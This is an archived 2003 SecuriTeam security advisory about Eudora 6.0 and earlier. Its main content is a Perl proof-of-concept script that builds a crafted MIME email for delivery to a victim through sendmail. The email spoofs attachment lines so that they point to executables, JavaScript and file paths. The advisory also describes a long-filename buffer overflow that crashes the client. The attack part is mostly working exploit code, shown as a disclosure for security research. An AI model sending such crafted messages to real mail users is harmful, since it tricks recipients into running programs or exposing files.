

# [EXPL] Eudora Attachment Spoof (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0033.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 09/14/03

To: list@securiteam.com

Date: 14 Sep 2003 16:11:11 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Eudora Attachment Spoof (Exploit)

---

## SUMMARY

Eudora 6.0 was released recently. The Eudora 6.0 still contains several vulnerabilities, the most serious being an execute-any-code bug. It is distressing that the "spoof and steal" bug was pointed out years ago; the execute-any-code bug in 5.2.1 was sent to Qualcomm on 29 May 2003.

## DETAILS

Vulnerable systems:

\* Eudora version 6.0 and prior

Exploit:

```
#!/usr/bin/perl --
```

```
use MIME::Base64;
```

```
print "From: me\n";
```

```
print "To: you\n";
```

```
print "Subject: Eudora 6.0 on Windows exploit\n";
```

```
print "MIME-Version: 1.0\n";
```

```
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n"; print "\n";
```

```
print "This is a multi-part message in MIME format.\n"; print "--zzz\n";
```

## Securiteam: [EXPL] Eudora Attachment Spoof (Exploit)

```
print "Content-Type: text/plain\n"; print "Content-Transfer-Encoding:
7bit\n"; print "\n";

print "Pipe the output of this script into: sendmail -i victim\n";

print "\nQuestion: Besides In.mbx, Eudora 6.0 also keeps In.mbx.001 and
In.mbx.002 files. Any way to turn this wasteful feature off?\n";

print "\nWith spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to).\n";

print "\nSending a long filename e.g.:\n";
print "Attachment Converted\r: \"\\AAA...AAA\"\n";
print "(with 250 or so repetitions of \"A\") makes Eudora crash. Eudora is
then unable to start, until the offending message is removed from In.mbx
(using some utility other than Eudora itself). This buffer overflow can
easily be made into an execute-any-code exploit (but is not shown here for
script kiddies).\n";

print "\nWithin plain-text email (or plain-text, inline MIME parts)
embedded CR=x0d characters get converted internally into a NUL=x00 and
ignored, so we can spoof \"attachment converted\" lines:\n";

print "\nThe following work fine (but are boring and/or put up
warnings):\n"; print "Attachment Converted\r:
\"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n"; print
"(Note how JavaScript is done with IE, web with default browser
Netscape)\n"; print "Attachment Converted\r: <A
href=javascript:alert(%27hello%27)>hello.txt</a>\n";
print "Attachment Converted\r: <A
href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";
print "Attachment Converted\r: <A
href=c:/winnt/system32/calc.exe>file.txt</a>\n";

print "\nIf we can guess the full path to the attach directory then can
change the name shown to anything we like, but get broken icon:\n"; print
"Attachment Converted\r: <A
href=H:/windows/.eudora/attach/calc>file.txt</a>\n";

print "\nCuteness value only:\n";
print "Attachment Converted\r: <A
href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A
href=c:/winnt/system32/calc.exe>file2.txt</a>\n";

print "\n<x-html>
With <b>HTML</b> <i>inclusions</i> we can do
<a href=c:/winnt/system32/calc.exe>file</a>,
<a
href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>
and
```

## Securiteam: [EXPL] Eudora Attachment SpooF (Exploit)

```
<a href="\"javascript:alert(\x27hello\x27)\">>javascript</a>  
references. Any way to exploit this?  
</x-html>\n";
```

```
print "\n<x-rich>  
Can also do RTF inclusions. Can this be abused?  
</x-rich>\n";
```

```
print "\nThose <x-xyz></x-xyz> constructs allow spoofing attachments  
easily, without embedded CR:\n\n"; print "HTML\n"; print  
"<x-html></x-html>Attachment Converted: \"xyz\"\n"; print "Rich\n"; print  
"<x-rich></x-rich>Attachment Converted: \"xyz\"\n"; print "Flowed\n";  
print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";
```

```
print "\n";
```

```
print "\n--zzz\n";  
print "Content-Type: text/plain; name=\"plain.txt\"\n";  
print "Content-Transfer-Encoding: 7bit\n";  
print "Content-Disposition: inline; filename=\"plain.txt\"\n"; print "\n";  
print "Within a 'plain' attachment:\n"; print "Attachment Converted\r:  
\"c:\\winnt\\system32\\calc.exe\"\n";
```

```
print "\n--zzz\n";  
print "Content-Type: text/plain; name=\"qp.txt\"\n";  
print "Content-Transfer-Encoding: quoted-printable \n";  
print "Content-Disposition: inline; filename=\"qp.txt\"\n"; print "\n";  
print "Within quoted-printable encoded parts still need the embedded  
CR:\n"; print "=41ttachment=20=43onverted\r=3a  
\"c:\\winnt\\system32\\calc.exe\"\n";
```

```
print "\n--zzz\n";  
print "Content-Type: text/plain; name=\"b64.txt\"\n";  
print "Content-Transfer-Encoding: base64\n";  
print "Content-Disposition: inline; filename=\"b64.txt\"\n"; print "\n";  
$z = "Within base64 encoded (plain-text, inline) MIME parts, can spoof\r  
without embedded CR (but line termination is CR-NL):\r Attachment  
Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";  
print encode_base64($z);
```

```
print "\n--zzz--\n";  
print "\n";
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:psz@maths.usyd.edu.au> Paul Szabo.

=====

Securiteam: [EXPL] Eudora Attachment Spoof (Exploit)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.